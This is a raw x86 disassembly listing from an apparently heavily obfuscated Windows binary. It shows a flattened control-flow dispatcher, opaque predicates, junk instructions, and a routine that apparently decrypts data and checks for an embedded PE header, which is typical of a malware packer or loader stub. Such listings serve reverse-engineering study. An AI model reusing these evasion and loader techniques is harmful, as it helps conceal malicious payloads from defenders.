mov ecx, dword [ebp - 0x9c]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x54]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x30]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x851a0f6c
and eax, 0x48018000
mov edx, ecx
or edx, 0x22a00013
and esi, 0xa7ba0f7f
and ecx, 0x10447080
and edx, 0xa7ba0f7f
or ecx, esi
mov esi, 0x42a1ea3a
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x24a2903b
and ecx, 0xdb5d6fc4
or eax, ecx
cmp eax, 0x1646e0a8
setne cl
cmp dword [0x482580], 0xa
setge al
mov ah, al
or al, cl
xor ah, cl
mov dl, ah
xor dl, 1
mov ecx, edx
and cl, ah
xor cl, 1
or cl, ah
mov ah, al
xor cl, 1
xor ah, 1
or cl, dl
or dl, al
and ah, cl
xor cl, 1
and cl, al
mov al, dl
or cl, ah
xor al, cl
test dl, dl
mov edx, 0xb00a55ab
cmovne edx, esi
test cl, cl
cmove edx, esi
test al, al
mov eax, 0xb00a55ab
jmp 0x40b972
cmp eax, 0x9ac41a05
jle 0x4050e5
cmp eax, 0x9b6a8a76
jle 0x40692e
cmp eax, 0x9b6a8a77
je 0x4098ad
cmp eax, 0x9c2c6856
je 0x4098ba
cmp eax, 0x9df6c162
jne 0x401d70
mov eax, 0x503c6a0b
jmp 0x401d70
cmp eax, 0x6478ef9f
jle 0x40511c
cmp eax, 0x666c5b61
jle 0x406957
cmp eax, 0x666c5b62
je 0x4098d0
cmp eax, 0x67ad88d0
je 0x4099fb
cmp eax, 0x681d759a
jne 0x401d70
push eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x84]
mov dword [eax], ecx
mov edx, 0xab
sbb edi, 0x71
rcr edx, 1
sbb eax, 0xb0
inc esi
inc esi
sub edi, 0x42
rol edi, 0x2c
mov ebx, 0xf4
inc edx
inc ebx
rcl esi, 0xc9
add edx, 0x63
ror esi, 0xa2
rol edx, 0xdf
inc edx
rol edx, 0xb2
and ebx, 0xb7
ror edx, 0xd0
ror eax, 0xe2
neg eax
or ebx, 0xfe
or edi, 0x16
imul eax
rol ebx, 0x29
rcr edi, 0x55
sbb eax, 0xfb
imul esi
add ebx, 0x5a
rol ebx, 0x67
sbb esi, 0xc2
not edi
rol edi, 0x35
imul eax
imul edi
rcl esi, 0x7e
or esi, 0x57
add edx, 0xce
ror edx, 9
dec edi
imul esi
add eax, 0x14
and edi, 0xda
rcr esi, 0xf7
add esi, 0x18
bswap edx
neg esi
neg edx
sub edx, 5
mov edi, 0x1e
imul eax
imul esi
or esi, 0x23
mov esi, 0x73
bswap edi
not edx
ror edi, 0xb3
bswap ebx
rol edi, 0xe9
or ebx, 0x77
inc edx
rcr ebx, 0x90
dec esi
inc edi
neg edx
sub esi, 0xf4
ror edx, 0xf1
dec esi
inc edi
rol esi, 0xcf
rol eax, 0x49
rcl esi, 0xe5
neg esi
bswap esi
sbb ebx, 0xad
ror esi, 0xe6
rcl eax, 0xf7
imul edx
imul edi
not edx
add ebx, 0x55
sbb edx, 0x87
inc edx
add ebx, 0x7e
inc edi
and esi, 0xee
ror ebx, 0xec
mov esi, 0x82
and ebx, 0xef
dec edx
not esi
sbb eax, 0x75
rcr edx, 0xca
not edx
not edx
imul eax
bswap eax
not edx
sbb ebx, 0x7a
rcr edi, 0xa5
ror eax, 0xfe
neg esi
rcl ebx, 0x8b
bswap edx
or ebx, 0x8a
imul ebx
sbb edx, 7
mov edx, 0x87
bswap ebx
imul ebx
neg ebx
not eax
mov edx, 6
add esi, 0xa2
dec edi
sub ebx, 0xe1
not esi
inc edx
rcr esi, 0x75
dec esi
rol edx, 0xc4
neg ebx
not esi
rol esi, 0xdb
sbb edi, 0xfc
inc eax
rol edx, 0x79
imul esi
neg edi
rcr ebx, 0xb0
ror esi, 0x58
not eax
imul edi
rcl ebx, 0xc0
inc edi
inc esi
dec edx
not edi
dec eax
imul esi
inc ebx
inc edx
sbb edx, 0x19
bswap edi
bswap ebx
neg eax
rol esi, 0x66
and esi, 0x39
mov esi, 0xc6
neg ebx
and edi, 0xdd
neg esi
inc edi
imul ebx
add ebx, 0xe7
imul ebx
not ebx
add ebx, 0x24
dec esi
not edi
dec eax
not edx
add edi, 0xff
bswap eax
and eax, 0xca
neg esi
and edi, 0xed
sbb eax, 0xb8
rcl edi, 0xa0
bswap edi
neg esi
neg edi
not esi
dec ebx
inc esi
ror esi, 0xe7
and esi, 0x74
sbb eax, 0xf7
neg edi
add edi, 0x70
ror edi, 0x6c
and ebx, 0xae
imul ebx
bswap esi
sbb eax, 0x22
not edx
imul edi
rcr edi, 0xa4
rcl ebx, 0xe5
neg edx
dec ebx
inc edx
sub edx, 0x92
ror edi, 0x3c
not ebx
sbb ebx, 0xb2
and esi, 0x73
rcr ebx, 3
inc ebx
neg esi
sub ebx, 0xe9
bswap edi
not edi
and edx, 0x58
or edi, 0x89
add esi, 0x5f
bswap ebx
or esi, 0x37
not edx
rol eax, 0xbf
or eax, 0xea
not edi
neg esi
ror eax, 0xed
or esi, 0xcf
inc ebx
rcl ebx, 0x82
and esi, 0x1d
or esi, 0xa
neg edx
dec edi
not esi
ror edi, 0xa5
neg ebx
imul edi
not edi
bswap esi
imul edx
add edi, 0xe7
rcl esi, 0x2d
add esi, 0xa7
inc edi
rcr edi, 0x40
mov edi, 0x49
bswap edx
dec edx
ror ebx, 0x63
imul esi
sbb esi, 0x37
imul esi
sbb eax, 0xbd
and esi, 0xc1
rol edi, 0x58
bswap esi
bswap edx
inc edx
inc edi
mov edx, 0xae
bswap eax
bswap eax
not eax
inc ebx
ror ebx, 0x97
neg edi
sub ebx, 0xa7
dec eax
add edx, 0x60
ror ebx, 0xf9
add esi, 0
ror edx, 0xd3
mov edx, 0xfa
dec ebx
bswap edi
neg edi
neg edx
imul edx
rcl eax, 0x55
dec esi
rcr edi, 0x76
neg esi
sub esi, 0xe6
mov eax, 0xd8
imul eax
mov esi, 0xc0
neg eax
dec edi
ror ebx, 0xc0
bswap edi
rol esi, 0xb5
add ebx, 0xb3
rcl eax, 0x97
mov eax, 0x7f
dec edi
neg edi
or edx, 0xac
dec eax
add edx, 7
imul esi
rcl ebx, 0xc4
and ebx, 0xd4
bswap eax
dec esi
or edx, 0x9a
rcr esi, 0xe9
rcl ebx, 0x86
ror esi, 0x62
bswap esi
and ebx, 0xd2
rcr ebx, 0xd3
rcl edi, 0x1a
bswap esi
imul edi
bswap eax
rcl ebx, 2
dec eax
ror edx, 0x5f
mov ebx, 0x6b
or ebx, 0x55
sub edi, 0xe
ror eax, 0xcb
bswap edx
ror edx, 0xd7
rcr edi, 0x9a
neg edi
rcl edi, 0x1d
ror edx, 0x24
or eax, 0x6e
or ebx, 0x22
ror edx, 0x1d
imul edx
rcl edi, 0x36
rcr esi, 0x1a
neg ebx
rcr eax, 0x53
rcr edx, 0xd1
dec edi
neg edi
rcr esi, 2
or esi, 0xd3
inc ebx
bswap esi
or esi, 0x62
rol ebx, 0x86
rcl ebx, 6
imul ebx
neg ebx
rcl edx, 0x97
neg eax
dec edi
dec edi
add edi, 0x44
inc esi
rcl edx, 0xe2
bswap edx
ror esi, 0xa
dec esi
not edi
dec edi
inc edi
dec esi
dec ebx
imul esi
neg esi
neg edx
inc eax
rcr eax, 0xf
and esi, 0xfc
add ebx, 0x1e
mov ebx, 0xc7
rcl esi, 0xc5
and esi, 0xb3
or esi, 0x7c
and edx, 0x67
and esi, 0x6f
dec ebx
rol edi, 0x3f
bswap ebx
inc ebx
or ebx, 0xa7
rol edi, 0x73
bswap esi
rcl eax, 5
imul edx
sbb ebx, 0xb
not esi
inc edx
and ebx, 0x38
neg edi
rcr edi, 0x46
ror eax, 0x65
bswap ebx
neg ebx
mov edi, 0xbd
mov eax, 0xb6
imul edx
mov edi, 0xea
rol edx, 0x3f
add edi, 0xa4
imul edx
ror ebx, 0xba
bswap ebx
mov ebx, 7
imul eax
bswap esi
or ebx, 0xaa
bswap edi
rol eax, 0x1a
mov edi, 0xbd
inc esi
sbb eax, 0x11
dec edi
bswap edi
sbb eax, 0x2a
mov ebx, 0x62
ror ebx, 0xcc
or eax, 0xfb
inc edi
rcr edi, 0xcb
imul ebx
inc eax
bswap esi
sbb edi, 0x67
rcl edx, 0xc1
dec eax
bswap edx
dec edx
imul edx
or ebx, 0xc0
rol eax, 0x8e
dec ebx
neg ebx
sbb edi, 0x31
or ebx, 0x80
imul eax
bswap esi
rcl eax, 0xe2
imul esi
rcr edi, 0xc9
add esi, 0xd
bswap esi
add eax, 0x6b
mov esi, 0x75
dec ebx
ror edx, 0x52
rol esi, 0
or eax, 0xcd
rcl edi, 0x26
bswap esi
sub esi, 0x3d
add ebx, 0x81
bswap edi
rcl edx, 0x61
inc ebx
rol ebx, 0xec
inc edx
neg edi
neg esi
sbb edx, 0xea
sub edi, 0x6a
inc ebx
rcl edi, 0x64
sbb edx, 8
neg edi
rcl edi, 0x20
not ebx
rcl edi, 0xea
not esi
add edi, 0xec
sub edi, 0xc
sub eax, 0x89
dec edx
imul edx
bswap edi
add esi, 0x7f
rol eax, 0xb7
imul edi
sub esi, 0x68
and esi, 0xf
rcl esi, 0x4c
bswap edx
and edi, 0x53
not edx
rcl esi, 0xaa
or esi, 0x2d
rol edi, 0xc7
imul edx
imul esi
add esi, 0x1d
dec edx
mov edx, 0xb3
not edi
sub eax, 0x86
bswap edi
neg edi
rol ebx, 0x23
sbb edi, 0x90
rol ebx, 0x32
bswap eax
dec esi
not ebx
inc edx
add eax, 0xf7
dec edx
bswap edx
neg edi
neg edi
and edx, 0x7c
sbb edi, 0x97
rcr ebx, 0x4f
neg ebx
neg edi
add edi, 0xc3
ror eax, 0xe
or ebx, 0x86
imul esi
inc edi
inc ebx
mov edi, 0x27
imul ebx
add ebx, 0x87
or esi, 0xbe
dec eax
rcr eax, 0xe
dec edx
or ebx, 0x7e
imul esi
neg edx
not eax
bswap edi
neg edi
ror edx, 2
not edx
not edi
dec ebx
or edi, 0x69
sbb edi, 0x22
not eax
inc edi
imul esi
neg ebx
imul ebx
not edx
mov eax, 0x81
dec eax
neg ebx
add eax, 0xe3
add edi, 0x22
rcr edi, 0x78
not ebx
inc eax
bswap ebx
not ebx
neg ebx
ror edx, 0xc4
bswap edi
inc edx
and eax, 0xdc
or edi, 0x23
neg edx
not ebx
bswap ebx
inc edi
or edi, 0x1d
dec esi
rcl edx, 0x9e
bswap edx
ror edi, 0xfa
neg edx
neg eax
neg ebx
mov edi, 0xd2
dec ebx
neg edi
sbb esi, 0xdd
dec edx
inc ebx
neg eax
rcr ebx, 0xb3
dec edx
not eax
rcl eax, 0x99
and eax, 0xae
dec esi
neg edx
not edx
rcr esi, 0x14
add edx, 0x42
ror edx, 0xb2
or ebx, 0x2a
neg edx
not edx
inc esi
bswap eax
inc edi
add edx, 0x6f
dec ebx
rol edx, 0x37
dec ebx
and edx, 0xd5
dec ebx
ror ebx, 0x3a
inc edi
or edi, 0x3e
sub edx, 0xfb
rcl esi, 0x69
add ebx, 0x57
dec eax
and eax, 0x24
rcr eax, 0xd1
imul edx
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
push 0x4b200
push section..data
vzeroupper
call section..text
add esp, 8
mov eax, dword [ebp - 0x84]
mov dword [eax], section..data
mov edi, 0xad
dec ebx
inc edi
not edi
rcr edi, 0x60
add eax, 0xab
and edi, 0x77
add edi, 0x26
sub ebx, 0x6a
inc edx
bswap edx
sub ebx, 0xfa
dec eax
rcl eax, 0xe8
imul edx
not ebx
inc ebx
bswap ebx
imul ebx
rol ebx, 0xff
ror edi, 0x29
sub eax, 0xf1
dec edx
neg esi
rcl edx, 0x60
not ebx
inc eax
neg eax
ror eax, 0xdc
imul ebx
neg eax
add edi, 0xfe
inc edi
ror esi, 0x99
neg esi
sub edi, 0xb0
mov esi, 0xc
rcr edi, 0x65
add edx, 0xa0
imul eax
rol eax, 0xc9
dec edx
or edi, 0xe3
imul edi
rcr eax, 0xb2
sbb ebx, 1
sbb edi, 0x8c
imul edi
neg ebx
or esi, 0x5c
sbb edx, 0x8a
or eax, 0xf2
mov edx, 0x3d
sbb edx, 0xfa
sbb ebx, 0xb9
neg eax
bswap edi
ror edx, 0x1c
rcr eax, 0x90
sbb edi, 0x80
imul edx
or edx, 0x24
rcl edx, 0x2c
sbb edi, 0x84
ror ebx, 0xa5
rcr edx, 0xd9
and esi, 0xee
bswap edi
add eax, 0xfd
inc ebx
imul edi
sbb edi, 0xa
sbb esi, 0x78
bswap edx
not edi
not esi
dec edx
inc eax
mov eax, 0x90
imul edi
add ebx, 0x87
bswap ebx
neg edx
neg ebx
add edx, 0xab
add esi, 0x5a
add ebx, 5
neg esi
sbb edx, 0x9e
and edi, 0x73
rol eax, 0xf2
imul ebx
dec edx
ror esi, 7
inc eax
neg eax
imul edx
imul edi
inc edx
add ebx, 0xfb
mov edi, 0xe7
dec edx
or esi, 0x77
ror ebx, 0xcb
rol eax, 0xe1
ror ebx, 0xed
bswap eax
neg esi
rol eax, 0xa
dec eax
add edx, 0xd4
imul ebx
imul ebx
rcr edx, 0xe9
inc ebx
rcl esi, 0x97
neg ebx
not esi
sub edx, 0x7c
inc edx
and edi, 0x82
sbb edi, 0x2c
sbb edx, 0x41
inc ebx
not esi
rol eax, 0xad
inc ebx
ror esi, 0xcf
dec esi
rcl ebx, 0x9b
rol ebx, 0x2c
rcl esi, 0x2c
bswap eax
imul edi
inc esi
imul eax
not ebx
mov ebx, 0xf7
or edx, 0x1d
add ebx, 0x61
sub edx, 0x60
bswap edi
and esi, 0xb9
and ebx, 0xee
rcl esi, 0x99
and edx, 0xd7
bswap eax
bswap esi
bswap edx
not eax
dec edi
neg ebx
add ebx, 0x69
ror edx, 0x8c
ror edi, 0x24
not edx
ror ebx, 0xf9
ror ebx, 0x48
mov esi, 0x9b
inc edi
and esi, 0x45
imul edi
neg edx
dec edi
ror ebx, 0x65
imul edx
rcr edi, 0xe4
ror esi, 0x72
sub edi, 0x59
dec ebx
not edi
and ebx, 0xd7
neg edi
dec esi
rcr esi, 0x14
not edx
rol eax, 0x26
imul edi
not edx
rcr ebx, 0xfd
neg eax
add esi, 0xbf
rcl edi, 0x9d
sub edi, 0xb2
neg edx
rcl esi, 0x37
inc edi
sbb eax, 9
rcl edi, 0x78
imul eax
dec eax
bswap esi
rol ebx, 0x6d
dec esi
and eax, 0x9f
imul edx
and edx, 0xdb
inc edx
bswap eax
sub ebx, 0x87
add ebx, 0xc
and edi, 0x80
bswap ebx
rcl ebx, 0x10
rol esi, 0x68
or edi, 0xbc
not edi
rcl edx, 0xdf
bswap eax
sbb eax, 0xa3
not edx
dec edi
sub ebx, 0x7d
sbb edi, 0x1e
add eax, 0xb
bswap ebx
imul edx
not edi
bswap edx
sub esi, 0x34
sub edi, 0x89
sbb edi, 0x9a
bswap edi
add eax, 8
inc esi
or esi, 0xb5
add ebx, 0x66
or eax, 0xe8
not edi
neg eax
sub edi, 0x77
neg edi
rcr esi, 0xf2
inc ebx
bswap eax
or edx, 0x84
not esi
bswap edx
neg edi
sub esi, 0x3b
rcl edi, 0x87
rcr edx, 0xe2
add eax, 0xf4
not edx
add esi, 0x89
and edx, 0xa5
ror edi, 0x6f
bswap edx
or edi, 0xe4
bswap ebx
inc ebx
ror esi, 0xfa
imul edx
rol edi, 0x46
not esi
not edx
not ebx
imul eax
sbb eax, 0xab
mov esi, 0x19
rol edi, 0x39
imul ebx
rcl esi, 0xc2
imul edi
inc edi
inc ebx
dec eax
sub esi, 0xa6
dec edx
neg edi
dec ebx
add ebx, 0xea
bswap eax
add ebx, 0x92
mov edi, 0xe2
imul esi
dec ebx
ror edi, 0xdc
bswap ebx
not edi
add edx, 0x41
rcr esi, 0x8f
sub esi, 0xf5
imul esi
rol esi, 0x3a
imul ebx
inc esi
and eax, 0x55
and eax, 0xc0
not eax
rol edx, 0x56
sbb eax, 0x73
sub edx, 0x32
rol ebx, 0x62
and edx, 0x19
rol edi, 0x95
rcl esi, 0x22
rcl edx, 0x3a
bswap ebx
inc edx
ror edi, 0x83
bswap ebx
sub eax, 0xb5
not edx
add ebx, 0xde
add edx, 0x4b
neg edx
dec ebx
or edi, 0xf
dec edi
bswap ebx
rcr eax, 0xa2
mov esi, 0xb7
add ebx, 0xae
imul eax
inc esi
sbb edx, 0x17
rol edi, 0x86
bswap eax
rcl eax, 0x80
dec esi
dec ebx
sbb edi, 0xc7
mov eax, 0x96
rcl esi, 0x16
neg edx
or esi, 0x34
and edx, 0x3d
add ebx, 0x10
bswap edi
not ebx
dec eax
rcl ebx, 0xb3
imul esi
add ebx, 0xc
inc ebx
rol eax, 0x8c
dec ebx
inc eax
dec edi
not esi
imul eax
rcr edi, 2
add edx, 0xcc
bswap edx
rcr esi, 0x5a
sbb edx, 0xa7
neg edi
dec eax
imul eax
and eax, 0xa6
add edx, 0xe5
bswap esi
add edi, 0x86
not edi
bswap eax
rcr eax, 0xe0
ror eax, 0x80
sbb ebx, 0x50
imul eax
sbb ebx, 0xda
not eax
dec edx
rol edi, 0x55
rcr ebx, 0xf9
or esi, 0x24
dec esi
bswap eax
and eax, 0x6e
sub edi, 0x6f
not edi
or esi, 1
rol ebx, 0xde
inc ebx
add edi, 0x2b
sbb esi, 0x9f
inc eax
dec eax
or edx, 0xde
bswap edi
neg esi
dec eax
mov ebx, 0xd2
not edi
add esi, 0xd7
imul edx
dec edx
not ebx
dec eax
imul edx
or edi, 0x6a
or esi, 0xab
mov ebx, 0xd6
inc edx
inc ebx
or esi, 0x69
bswap esi
sub edx, 0xa2
not eax
add edx, 0x10
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov ecx, 0x12cee26
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, 0x66de14b
cmove eax, ecx
jmp 0x401d70
cmp eax, 0xd04ca560
jle 0x4051fc
cmp eax, 0xd3f18a63
jle 0x406977
cmp eax, 0xd3f18a64
je 0x409a05
cmp eax, 0xd4c67688
je 0x409b39
cmp eax, 0xd4dcfb84
jne 0x401d70
mov eax, dword [ebp - 0x70]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg esi
bswap edi
add eax, 3
sbb eax, 0xf7
neg eax
inc ebx
not eax
rol esi, 0x12
or edx, 0x71
dec edi
imul ebx
or esi, 0x43
sub ebx, 0xda
and eax, 0x9c
and ebx, 0xe0
ror esi, 0x5e
rcr esi, 0x9f
dec esi
not edx
imul esi
bswap esi
and eax, 0x4d
inc ebx
bswap edi
neg ebx
imul edx
sbb edx, 0x91
bswap eax
rcl ebx, 0xac
add edi, 0xb5
imul edi
rcl edx, 0xd2
imul ebx
bswap edi
rol eax, 0x10
sub edi, 0xdf
inc edi
rcr ebx, 0xe3
bswap esi
imul edx
sbb esi, 0x18
not eax
not edx
mov esi, 0x21
rcr edi, 0x97
inc eax
sbb edi, 0x30
bswap eax
rol edi, 0xe3
or esi, 0xa
bswap esi
rcl esi, 0x9d
sbb ebx, 0x42
bswap esi
mov esi, 0xa6
rol edi, 0xca
rcr esi, 0x34
dec edi
ror ebx, 0x3f
and eax, 0xfe
ror eax, 0x5a
add edi, 0x22
dec eax
dec eax
sub edi, 0x90
dec esi
imul esi
dec edx
rcr ebx, 7
neg ebx
dec edx
sbb esi, 0x6e
and eax, 0x5c
dec edx
imul edi
not edi
rcr esi, 0x44
inc ebx
rol eax, 0xab
and edx, 0x33
bswap esi
sub edx, 0xc7
ror edx, 0xfd
rol edi, 0xf3
ror edx, 0x52
add eax, 0xc1
or edi, 0xd
sub edx, 0xb8
mov edi, 0x64
neg ebx
sbb esi, 0x64
dec edx
rcr edx, 0xa2
mov edx, 0x28
rcl ebx, 0xb
ror eax, 0xbe
dec ebx
inc esi
inc edi
neg edx
and eax, 0x3f
rcr eax, 0x32
sbb esi, 0x48
not esi
bswap edx
inc edi
bswap edi
add ebx, 9
neg eax
imul ebx
add edx, 0x2b
sub eax, 0x67
not esi
add ebx, 0x54
bswap eax
inc ebx
rcl ebx, 0x19
imul esi
bswap ebx
rcl edi, 0x1c
rol edx, 0x96
mov esi, 0xd1
bswap eax
add edi, 0x25
bswap esi
not ebx
mov esi, 9
bswap ebx
not esi
mov edx, 1
ror ebx, 0x6b
bswap eax
rol eax, 0x37
ror esi, 0x66
and eax, 0x4d
sbb ebx, 0x66
neg edx
bswap edx
rcl edi, 0xe1
rcl eax, 0x6c
add edx, 0x81
rol ebx, 0x26
add ebx, 0x9d
imul esi
imul eax
rol edx, 0x69
not edi
imul esi
dec eax
inc ebx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xca76afc8
and edx, 0x35895037
or edx, esi
mov esi, ecx
not esi
and ecx, 0x35895037
or eax, esi
and esi, 0xca76afc8
or ecx, esi
not eax
mov esi, 0x25bc6b9a
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x4aac3a46
and ecx, 0xb553c5b9
or eax, ecx
mov ecx, eax
xor ecx, 0x40a42002
xor eax, 0x11404198
and ecx, 0xe4b7a423
and eax, 0x1b485bdc
or eax, ecx
xor eax, 0x1b485bdc
setne ch
sete cl
cmp dword [0x482580], 0xa
setl al
setge ah
mov edx, eax
and al, ch
xor dl, cl
and cl, ah
or ah, ch
or al, cl
xor ah, 1
mov ecx, edx
xor al, 1
or ah, dl
xor cl, 1
mov ch, al
or al, ah
xor ch, ah
xor al, 1
or al, ch
mov ah, al
not ah
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x94f11bd4
cmovne edx, esi
test al, al
mov esi, 0x94f11bd4
jmp 0x40bfd9
cmp eax, 0x1a29f11f
jle 0x40522d
cmp eax, 0x1c74d41c
jle 0x406a53
cmp eax, 0x1c74d41d
je 0x409c55
cmp eax, 0x1d0ae1af
je 0x409d5f
cmp eax, 0x1d29c8bf
jne 0x401d70
mov eax, 0xab2b4451
jmp 0x401d70
cmp eax, 0x92817596
jle 0x4052d8
cmp eax, 0x93268c71
jle 0x406a7f
cmp eax, 0x93268c72
je 0x409d6c
cmp eax, 0x9424a6f4
je 0x409d90
cmp eax, 0x9431f582
jne 0x401d70
mov eax, dword [ebp - 0x48]
mov ecx, dword [0x482584]
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xb29e52fc
mov ecx, eax
and ecx, 0x4d61ad03
andn edx, eax, edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x4d61ad02
and ecx, 0xb29e52fd
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x20d195ce
mov esi, ecx
and esi, 0xdf2e6a31
or edx, esi
mov esi, eax
not esi
or eax, 1
or ecx, eax
and eax, 0xdf2e6a31
and esi, 0x20d195ce
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x80b5822b
and ecx, 0x7f4a7dd4
or eax, ecx
mov ecx, eax
xor ecx, 0xb18203
xor eax, 0x7f4a7dd4
mov esi, eax
and esi, 0xe706593c
and ecx, 0x18f9a6c3
or ecx, esi
mov esi, edx
not esi
and edx, 0x18f9a6c3
or eax, esi
and esi, 0xe706593c
or edx, esi
not eax
mov esi, 0x9ac41a06
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x9d0dd694
and ecx, 0x62f2296b
or eax, ecx
mov ecx, eax
xor ecx, 0x19041680
xor eax, 0x2012204a
and eax, 0xa41be05e
and ecx, 0x5be41fa1
or ecx, eax
mov eax, ecx
xor eax, 0x3805c
xor ecx, 0x59c01c00
and ecx, 0xfdd87c02
and eax, 0x22783fd
or eax, ecx
xor eax, 0x22783fd
sete dl
setne ah
cmp dword [0x482580], 0xa
setge cl
setl al
and ah, al
and cl, dl
or al, dl
or cl, ah
xor cl, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
or al, cl
xor dl, 1
or dl, ah
xor dl, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x989a700b
cmovne ecx, esi
test al, 1
mov eax, 0x989a700b
cmovne eax, ecx
jmp 0x40c963
cmp eax, 0x57c78bf7
jle 0x405303
cmp eax, 0x592bf366
jle 0x406a9f
cmp eax, 0x592bf367
je 0x409da3
cmp eax, 0x59b01009
je 0x409e30
cmp eax, 0x5c38c633
jne 0x401d70
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov eax, 0xcc5b3627
jmp 0x401d70
cmp eax, 0xf4ab46a6
jle 0x40532e
cmp eax, 0xf6dd7066
jle 0x406abf
cmp eax, 0xf6dd7067
je 0x409e4e
cmp eax, 0xf80bd9c7
je 0x409fa9
cmp eax, 0xf903aa61
jne 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x468af6b2
mov edx, ecx
and edx, 0x40082232
and eax, ecx
not ecx
and ecx, 0x682d480
or edx, ecx
xor edx, 0x40082232
or eax, edx
mov ecx, eax
not ecx
and eax, 0xed8f6379
and ecx, 0x12709c86
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x54fa6a34
xor edx, 0xab0595cb
xor eax, 0x53466eb9
mov esi, ecx
or esi, edx
and edx, 0x6832d113
and eax, esi
mov esi, eax
not esi
and eax, 0xf843fb73
and esi, 0x7bc048c
or eax, esi
mov esi, ecx
and esi, 0x97cd2eec
and ecx, 1
or esi, edx
mov edx, eax
not edx
and eax, 0xa268a61
xor esi, 0x6832d112
or ecx, esi
mov esi, edx
and esi, 0xf5d9759e
or eax, esi
mov esi, ecx
not esi
or edx, ecx
and ecx, 0xf5d9759e
and esi, 0xa268a61
not edx
or esi, ecx
xor esi, eax
or edx, esi
mov esi, 0xe326516b
mov ecx, edx
xor ecx, 0xedf2d1a5
mov eax, edx
